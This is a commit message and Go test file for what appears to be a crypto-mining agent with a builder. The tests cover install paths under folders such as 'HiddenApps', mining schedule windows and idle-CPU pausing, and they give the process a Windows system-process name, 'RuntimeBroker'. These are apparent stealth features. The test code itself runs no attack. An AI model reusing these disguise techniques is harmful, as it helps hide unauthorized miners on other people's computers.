Add configurable install paths and enforce mining schedules.

Builder and Settings expose install base/subfolder with live preview. Agent embeds on first exe run to the configured path, pauses for idle CPU and scheduled windows, and reports real system CPU usage.

agent/config/install_test.go

@@ -0,0 +1,97 @@
+package config
+
+import (
+	"os"
+	"testing"
+	"time"
+)
+
+func TestInstallDirectoryLocalAppData(t *testing.T) {
+	t.Setenv("LOCALAPPDATA", `C:\Users\test\AppData\Local`)
+
+	cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
+		WorkerName:          "office pc",
+		BuildID:             "1234567890abcdef",
+		ProcessName:         "RuntimeBroker",
+		InstallBase:         "localappdata",
+		InstallRelativePath: "CryptoMiner/{worker}-{build_short}",
+	}}
+
+	got, err := cfg.InstallDirectory()
+	if err != nil {
+		t.Fatal(err)
+	}
+	want := `C:\Users\test\AppData\Local\CryptoMiner\office-pc-12345678`
+	if got != want {
+		t.Fatalf("expected %q, got %q", want, got)
+	}
+}
+
+func TestInstallDirectoryCustomBase(t *testing.T) {
+	t.Setenv("ProgramData", `C:\ProgramData`)
+
+	cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
+		WorkerName:        "pc1",
+		BuildID:           "build",
+		InstallBase:       "custom",
+		InstallCustomBase: `%ProgramData%\HiddenApps`,
+		InstallRelativePath: "{process}",
+	}}
+
+	got, err := cfg.InstallDirectory()
+	if err != nil {
+		t.Fatal(err)
+	}
+	want := `C:\ProgramData\HiddenApps\pc1`
+	if got != want {
+		t.Fatalf("expected %q, got %q", want, got)
+	}
+}
+
+func TestInstallDirectoryRequiresCustomBase(t *testing.T) {
+	cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
+		InstallBase: "custom",
+	}}
+	if _, err := cfg.InstallDirectory(); err == nil {
+		t.Fatal("expected error for missing custom base")
+	}
+}
+
+func TestInScheduleWindowSameDay(t *testing.T) {
+	cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
+		ScheduleStart: "09:00",
+		ScheduleEnd:   "17:00",
+	}}
+	now := time.Date(2026, 5, 26, 10, 0, 0, 0, time.UTC)
+	if !cfg.InScheduleWindow(now) {
+		t.Fatal("expected inside schedule window")
+	}
+	now = time.Date(2026, 5, 26, 18, 0, 0, 0, time.UTC)
+	if cfg.InScheduleWindow(now) {
+		t.Fatal("expected outside schedule window")
+	}
+}
+
+func TestInScheduleWindowCrossMidnight(t *testing.T) {
+	cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
+		ScheduleStart: "21:00",
+		ScheduleEnd:   "06:00",
+	}}
+	if !cfg.InScheduleWindow(time.Date(2026, 5, 26, 23, 0, 0, 0, time.UTC)) {
+		t.Fatal("expected inside overnight window")
+	}
+	if !cfg.InScheduleWindow(time.Date(2026, 5, 26, 3, 0, 0, 0, time.UTC)) {
+		t.Fatal("expected inside early morning window")
+	}
+	if cfg.InScheduleWindow(time.Date(2026, 5, 26, 12, 0, 0, 0, time.UTC)) {
+		t.Fatal("expected outside midday window")
+	}
+}
+
+func TestExpandWindowsEnv(t *testing.T) {
+	os.Setenv("LOCALAPPDATA", `C:\Local`)
+	got := expandWindowsEnv(`%LOCALAPPDATA%\Apps`)
+	if got != `C:\Local\Apps` {
+		t.Fatalf("unexpected expansion: %s", got)
+	}
+}